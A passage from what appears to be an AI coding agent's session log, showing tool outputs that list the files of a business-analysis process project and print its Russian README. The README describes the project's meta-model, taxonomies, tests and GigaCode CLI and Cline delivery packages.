\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n./ba-meta-model/10-theory.md\\n./ba-meta-model/20-taxonomy.md\\n./ba-meta-model/50-open-research.md\\n./ba-meta-model/30-decision-framework.md\\n./ba-meta-model/00-introduction.md\\n./ba-meta-model/40-practice-and-cases.md\\n./ba-meta-model/product-taxonomy/telecom-products.yaml\\n./ba-meta-model/product-taxonomy/mango-products.yaml\\n./ba-meta-model/operation-taxonomy/10-theory.md\\n./ba-meta-model/operation-taxonomy/20-taxonomy.md\\n./ba-meta-model/operation-taxonomy/50-open-research.md\\n./ba-meta-model/operation-taxonomy/30-decision-framework.md\\n./ba-meta-model/operation-taxonomy/00-introduction.md\\n./ba-meta-model/operation-taxonomy/40-practice-and-cases.md\\n./ba-meta-model/process-taxonomy/10-theory.md\\n./ba-meta-model/process-taxonomy/20-taxonomy.md\\n./ba-meta-model/process-taxonomy/50-open-research.md\\n./ba-meta-model/process-taxonomy/30-decision-framework.md\\n./ba-meta-model/process-taxonomy/00-introduction.md\\n./ba-meta-model/process-taxonomy/40-practice-and-cases.md\\n./decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n./decisions/2026-09-adr-020-clean-distribution-package.md\\n./README.md\\n./experiments/.gitkeep\\n./experiments/issue_638_gigacode_input_checks.log\\n./experiments/issue_636_real_task_flow.sh\\n./experiments/issue_638_gigacode_smoke_guide.py\\n./experiments/issue_638_gigacode_full_route.log\\n./experiments/issue_638_gigacode_deploy_check.log\\n./experiments/issue_605_run_inventory.py\\n./experiments/issue_638_update_manifest_hashes.py\\n./experiments/issue_638_gigacode_full_route.py\\n./experiments/issue_638_gigacode_input_checks.py\\n./experiments/issue_639_runner_probes.log\\n./experiments/issue_636_seal.log\\n./experiments/issue_638_gigacode_kb_copy_check.log\\n./experiments/issue_636_check_links.py\\n./experiments/issue_639_runner_probes.py\\n./experiments/issue_639_gap_probes.log\\n./experiments/issue_638_gigacode_smoke_guide.log\\n./experiments/issue_636_real_task_flow.log\\n./experiments/issue_638_gigacode_smoke_flow.py\\n./experiments/issue_639_gap_probes.sh\\n./experiments/issue_638_gigacode_smoke_flow_data.py\\n./experiments/issue_638_windows_autocrlf.sh\\n./experiments/issue_638_gigacode_deploy_check.sh\\n./experiments/issue_638_gigacode_smoke_flow.log\\n./experiments/issue_636_seal.ps1\\n./experiments/issue_638_gigacode_kb_copy_check.sh\\n./docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md\\n./docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n./docs/rfc/2026-09-source-pilot-verification.md\\n./docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md\\n./docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n./docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n./docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n./docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n./docs/analysis/2026-09-23-requirements-run-forensics.md\\n./docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n./docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n./meta-model-guides/README.md\\n./meta-model-guides/qwen-chat-runtime-migration-instruction.md\\n./meta-model-guides/gigacode-cli/mango-ba-ai-runtime-cli-user-guide.html\\n./meta-model-guides/gigacode-cli/screenshots/mango-ba-ai-runtime-cli-user-guide-preview.png\\n./tests/cline-package/test_package.py\\n./tests/execution-package/README.md\\n./tests/execution-package/fixtures/working-valid.json\\n./tests/execution-package/fixtures/straight-through.yaml\\n./tests/execution-package/fixtures/human-gate.yaml\\n./tests/execution-package/assertions/straight-through.yaml\\n./tests/execution-package/assertions/human-gate.yaml\\n./tests/execution-package/tests/test_guides.py\\n./tests/execution-package/tests/test_semantic_regression.py\\n./tests/execution-package/tests/test_runner.py\\n./tests/execution-package/tests/test_emulation.py\\n./tests/execution-package/tools/emulate-route.py\\n215\",\n[2026-09-29T07:44:33.428Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:33.428Z] [INFO]       }\n[2026-09-29T07:44:33.428Z] [INFO]     ]\n[2026-09-29T07:44:33.428Z] [INFO]   },\n[2026-09-29T07:44:33.428Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:33.428Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"uuid\": \"0af178e9-74b4-4808-9c46-ec09865abb46\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:33.384Z\",\n[2026-09-29T07:44:33.428Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:33.428Z] [INFO]     \"stdout\": \"---\\nstatus: canonical\\nversion: 1.6\\nupdated: 2026-09-28\\ntemperature: 0.1\\nscope: mango-only\\ntype: research\\n---\\n\\n# BA AI Process \u2014 Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 **\u00ab\u043a\u0430\u043a \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e\\n\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044f MANGO \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445\u00bb**: \u043a\u0430\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0430\u0431\u043e\u0442\u0443, \u043a\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0435\\n\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u0443. GigaCode CLI \u2014 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430; Cline \u0441 Mango AI\\n\u0438 Qwen Chat \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u043f\u043e\\n[issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615).\\n\\n\u042d\u0442\u043e **\u0434\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432**, \u0430 \u043d\u0435 \u043e\u0431\u0449\u0430\u044f \u0440\u0430\u043c\u043a\u0430. \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0441\u0443\u0442\\n`scope: mango-only`. \u0417\u0434\u0435\u0441\u044c `mango-only` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 **\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c\\nMANGO** (\u0432\u0441\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0441\u043d\u0438\u043c\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438), \u0430 \u043d\u0435 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439\\n\u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438/\u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044e;\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-158`), \u0430 \u043d\u0435\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 